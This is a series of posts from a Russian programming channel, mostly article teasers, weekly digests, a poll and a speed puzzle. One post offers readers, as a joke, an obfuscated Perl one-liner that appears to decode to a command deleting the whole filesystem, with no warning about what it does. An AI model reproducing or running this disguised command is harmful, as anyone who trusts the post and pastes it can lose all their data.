Разбираемся с ошибкой ValueError: math domain error в Python. Она случается, если попросить код сделать что-то несовместимое с математикой ¯\_(ツ)_/¯
https://v.thecode.media/knd2q
#баг_Код
https://v.thecode.media/knd2q
#баг_Код
👍20👎1
This media is not supported in your browser
VIEW IN TELEGRAM
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see', дорогие читатели :-)
😁32👍10
Что такое вычислительная фотография и как она работает
Обработка одновременно со съёмкой: https://v.thecode.media/53n5l
#лучшее_Код #разбор_Код
Обработка одновременно со съёмкой: https://v.thecode.media/53n5l
#лучшее_Код #разбор_Код
🔥16
Дайджест статей за неделю
На этой неделе мы решили немного поразгонять про компьютерную грамотность — что это сейчас значит и что туда входит. Неформально, без нравоучений и с картинками. Если есть что добавить — приходите в комментарии, будет здорово.
Поговорили с тимлидом из фронтенда про то, нужно ли сейчас начинающему разработчику знать бэкенд и хватит ли знаний только о вёрстке для того, чтобы делать всё остальное. Если хотите узнать, на что сейчас смотрят на работе, — читать обязательно.
В продолжение темы — большой разбор интерфейсов в целом. Если что, это не только про сайты и визуал: интерфейсы бывают разные и у каждого свои задачи. Но у всех цель одна — сделать нашу жизнь проще.
Разобрались, как работают браузерные уведомления, которые всплывают, даже если сайт закрыт. Под капотом — много технических подробностей про серверы и механизмы синхронизации. Пригодится по работе и для общего развития.
❌ Ошибка недели: ValueError: math domain error. Вот что случается, если нарушать законы математики.
Выходные, можно наконец-то выспаться и отдохнуть. Берегите себя!
С любовью, «Код»
На этой неделе мы решили немного поразгонять про компьютерную грамотность — что это сейчас значит и что туда входит. Неформально, без нравоучений и с картинками. Если есть что добавить — приходите в комментарии, будет здорово.
Поговорили с тимлидом из фронтенда про то, нужно ли сейчас начинающему разработчику знать бэкенд и хватит ли знаний только о вёрстке для того, чтобы делать всё остальное. Если хотите узнать, на что сейчас смотрят на работе, — читать обязательно.
В продолжение темы — большой разбор интерфейсов в целом. Если что, это не только про сайты и визуал: интерфейсы бывают разные и у каждого свои задачи. Но у всех цель одна — сделать нашу жизнь проще.
Разобрались, как работают браузерные уведомления, которые всплывают, даже если сайт закрыт. Под капотом — много технических подробностей про серверы и механизмы синхронизации. Пригодится по работе и для общего развития.
❌ Ошибка недели: ValueError: math domain error. Вот что случается, если нарушать законы математики.
Выходные, можно наконец-то выспаться и отдохнуть. Берегите себя!
С любовью, «Код»
👍17❤6🔥3
Шпаргалка с разбором алгоритма сортировки выбором (Selection Sort)
Алгоритмы сортировки часто являются предметом вопросов на технических интервью, так как демонстрируют понимание основ алгоритмического мышления и способность решать задачи, связанные с оптимизацией.
Знание различий между алгоритмами и умение выбрать подходящий — важное качество для успешного прохождения собеседований.
Материал подготовил Евгений Бартенев, автор и техлид курсов Python-разработчик, Python-разработчик расширенный и Python-разработчик буткемп. Сохраняйте и пользуйтесь.
→ Шпаргалка с разбором пузырьковой сортировки
→ Шпаргалка с разбором сортировки слиянием
→ Шпаргалка с разбором быстрой сортировки
→ Шпаргалка с разбором сортировки вставками
#полезнознать_Код
Алгоритмы сортировки часто являются предметом вопросов на технических интервью, так как демонстрируют понимание основ алгоритмического мышления и способность решать задачи, связанные с оптимизацией.
Знание различий между алгоритмами и умение выбрать подходящий — важное качество для успешного прохождения собеседований.
Материал подготовил Евгений Бартенев, автор и техлид курсов Python-разработчик, Python-разработчик расширенный и Python-разработчик буткемп. Сохраняйте и пользуйтесь.
→ Шпаргалка с разбором пузырьковой сортировки
→ Шпаргалка с разбором сортировки слиянием
→ Шпаргалка с разбором быстрой сортировки
→ Шпаргалка с разбором сортировки вставками
#полезнознать_Код
👍26🔥9
Аккуратно (о-о-очень аккуратно) тыкаем палочкой в С++ и его стандартную библиотеку std, которая умеет вообще почти всё, что может понадобиться от языка программирования.
Если немного умеете писать код на любом другом языке, то разобраться точно получится. Если нет — хотя бы посмотрите на то, что ещё бывает в программировании: https://v.thecode.media/nxj8c
#разбор_Код
Если немного умеете писать код на любом другом языке, то разобраться точно получится. Если нет — хотя бы посмотрите на то, что ещё бывает в программировании: https://v.thecode.media/nxj8c
#разбор_Код
😁24🔥15👍7
В 1934 году немецкий психолог и философ Макс Вертгеймер задал своему другу Альберту Эйнштейну такую задачку. Она показалась Эйнштейну довольно простой, и он быстро решил её в уме, но когда вник и начал решать на бумаге, то понял, что первый ответ был неверным. Задача звучит так:
• Есть холм, вершина которого находится ровно посередине холма.
• Общая длина пути по холму — 2 мили, соответственно, чтобы доехать до середины, нужно проехать одну милю, и столько же, чтобы спуститься.
• У подножия холма есть машина, которая поднимается на холм и доезжает ровно до середины с постоянной скоростью — 15 миль в час.
А теперь вопрос:
С какой скоростью машине нужно съезжать с холма, чтобы средняя скорость движения по всему холму составила 30 миль в час?
Эйнштейн сходу дал ответ — 45 миль в час, но это неправильный ответ ¯\_(ツ)_/¯
Правильный ответ пишите в комментариях и ищите по ссылке: https://v.thecode.media/ixxlp
#задача_Код
• Есть холм, вершина которого находится ровно посередине холма.
• Общая длина пути по холму — 2 мили, соответственно, чтобы доехать до середины, нужно проехать одну милю, и столько же, чтобы спуститься.
• У подножия холма есть машина, которая поднимается на холм и доезжает ровно до середины с постоянной скоростью — 15 миль в час.
А теперь вопрос:
С какой скоростью машине нужно съезжать с холма, чтобы средняя скорость движения по всему холму составила 30 миль в час?
Эйнштейн сходу дал ответ — 45 миль в час, но это неправильный ответ ¯\_(ツ)_/¯
Правильный ответ пишите в комментариях и ищите по ссылке: https://v.thecode.media/ixxlp
#задача_Код
🔥17👍15❤2
Сделали большой мастрид для всех, кто хочет научиться программировать на JavaScript, но не знает, с чего начать. Вот с этого: https://v.thecode.media/9sby4
#подборка_Код
#подборка_Код
❤21👍11🔥7
Как понять, что ваш код великолепен
Мы собрали 8 признаков классного кода и поняли, что в нашем коде мы видим только 5. А у вас как с этим? Сколько признаков совпало с тем, как вы сами пишете код?
https://v.thecode.media/ynmf0
#лучшее_Код #подборка_Код
Мы собрали 8 признаков классного кода и поняли, что в нашем коде мы видим только 5. А у вас как с этим? Сколько признаков совпало с тем, как вы сами пишете код?
https://v.thecode.media/ynmf0
#лучшее_Код #подборка_Код
❤13👍7🔥6
Разбираем, как устроен формат JSON, как используется и почему от него все в восторге уже больше 20 лет. Если вы не в восторге, значит, ещё не читали вот это: https://v.thecode.media/3gz83
#разбор_Код
#разбор_Код
😁19❤10👍5🔥3🤡2
Среда, дорогие читатели. Это значит, что проблемы точно не на вашей стороне: https://v.thecode.media/cxy6m
#пб_Код
#пб_Код
😁43🔥8👍3👎1
Что важнее для первого проекта в портфолио у начинающего разработчика?
Anonymous Poll
6%
Сложность и инновации
40%
Практическая польза
1%
Красивый дизайн
52%
Простота и понятность
👍5❤2
9 несложных проектов для портфолио начинающих разработчиков
Бывает, что начинающему программисту нечего показать будущему работодателю: рабочих проектов пока нет. В этом случае можно создать программы для себя — так получится и потренироваться, и получить проекты в портфолио.
Мы собрали идеи и примеры проектов, которые подходят новичкам и не зависят от языка программирования и платформы. Выбирайте направление по душе, расчехляйте редактор кода — и погнали: https://v.thecode.media/817dd
Бывает, что начинающему программисту нечего показать будущему работодателю: рабочих проектов пока нет. В этом случае можно создать программы для себя — так получится и потренироваться, и получить проекты в портфолио.
Мы собрали идеи и примеры проектов, которые подходят новичкам и не зависят от языка программирования и платформы. Выбирайте направление по душе, расчехляйте редактор кода — и погнали: https://v.thecode.media/817dd
👍23🔥3
Простая инструкция, как создать новый шаблон страницы в Wordpress на основе старого и что-то изменить в оформлении одной рубрики. Пригодится всем, кто ведёт там свой блог или хочет постепенно зарабатывать на этом: https://v.thecode.media/cbty7
#разбор_Код
#разбор_Код
🔥7👍3❤2
Напишите в комментариях фразу «Самый главный навык программиста — это когда...», а дальше пусть продолжает Т9.
👍8😁3
Задача про границы, где вам нужно выйти за них, чтобы её решить. Но потом вам эти границы нужно нарисовать. А для этого нужно за них выйти. Круто, да?
https://v.thecode.media/ggmwi
Кстати, у этой задачи не одно решение. Если найдёте ещё — поделитесь в комментариях.
#задача_Код
https://v.thecode.media/ggmwi
Кстати, у этой задачи не одно решение. Если найдёте ещё — поделитесь в комментариях.
#задача_Код
👍12🔥3❤2
Программа, которая нагрузит процессор на все сто
Обычно программисты стараются писать код так, чтобы он оптимально использовал все ресурсы компьютера и не забирал себе лишнего. Сегодня мы сделаем противоположное: напишем код, который нагрузит процессор почти на 100%, и проверим, получилось у нас или нет.
https://v.thecode.media/wuqjk
#проект_Код #лучшее_Код
Обычно программисты стараются писать код так, чтобы он оптимально использовал все ресурсы компьютера и не забирал себе лишнего. Сегодня мы сделаем противоположное: напишем код, который нагрузит процессор почти на 100%, и проверим, получилось у нас или нет.
https://v.thecode.media/wuqjk
#проект_Код #лучшее_Код
👍9👎1
Что такое троичная логика и где она используется
Если в двоичной логике используется только 0 и 1, то что используется в троичной? И зачем она вообще нужна? Рассказываем и рисуем красивые таблички.
https://v.thecode.media/i775m
#лучшее_Код #вопрос_Код
Если в двоичной логике используется только 0 и 1, то что используется в троичной? И зачем она вообще нужна? Рассказываем и рисуем красивые таблички.
https://v.thecode.media/i775m
#лучшее_Код #вопрос_Код
👍17🔥6🤡4❤1
Дайджест статей за неделю
На этой неделе разбирались с устройством всего: от настройки сайтов до библиотек в C++. Погнали смотреть, что получилось.
Сразу с хардкора: рассказали, что такое std в C++ и что вообще умеет там стандартная библиотека (почти всё).
JSON — стандарт для передачи данных во многих областях ИТ. Сделали подробный разбор, как он устроен и есть ли у него вообще минусы.
Пояснили мем про тестировщика и молоко. С одной стороны, мы рады, что у кого-то всё оказалось хорошо, с другой — надо быть аккуратнее как-то с молоком.
Запилили красивый мастрид про то, как новичку вкатиться в JavaScript. Получилось много, полезно и подробно. Можно брать и стартовать прям с нуля.
Если вы не знали, как сделать в Вордпрессе новый шаблон страницы на основе старого, чтобы что-то там изменить, — теперь знайте. Дело на 10 минут, ничего сложного.
❓ Задача недели: как с помощью двух квадратов обозначить для всех личные границы. Звучит странно, но попробуйте её решить — и всё поймёте.
Не забывайте про себя: проведите выходные на природе или с близкими, встретьтесь с друзьями, возьмите отпуск в конце концов :–)
Любим вас, «Код»
На этой неделе разбирались с устройством всего: от настройки сайтов до библиотек в C++. Погнали смотреть, что получилось.
Сразу с хардкора: рассказали, что такое std в C++ и что вообще умеет там стандартная библиотека (почти всё).
JSON — стандарт для передачи данных во многих областях ИТ. Сделали подробный разбор, как он устроен и есть ли у него вообще минусы.
Пояснили мем про тестировщика и молоко. С одной стороны, мы рады, что у кого-то всё оказалось хорошо, с другой — надо быть аккуратнее как-то с молоком.
Запилили красивый мастрид про то, как новичку вкатиться в JavaScript. Получилось много, полезно и подробно. Можно брать и стартовать прям с нуля.
Если вы не знали, как сделать в Вордпрессе новый шаблон страницы на основе старого, чтобы что-то там изменить, — теперь знайте. Дело на 10 минут, ничего сложного.
❓ Задача недели: как с помощью двух квадратов обозначить для всех личные границы. Звучит странно, но попробуйте её решить — и всё поймёте.
Не забывайте про себя: проведите выходные на природе или с близкими, встретьтесь с друзьями, возьмите отпуск в конце концов :–)
Любим вас, «Код»
👍11🔥4
Собрали ИТ-мемы на все случаи жизни (и важных переговоров). Если что-то из них покажется непонятным — пишите, разберём в «Пояснительной бригаде». В общем, делитесь со знакомыми айтишниками, сохраняйте для чатов и просто наслаждайтесь прекрасным миром доброго и чуткого ИТ-юмора.
#подборка_Код
#подборка_Код
🔥20😁17👍3❤2🤡1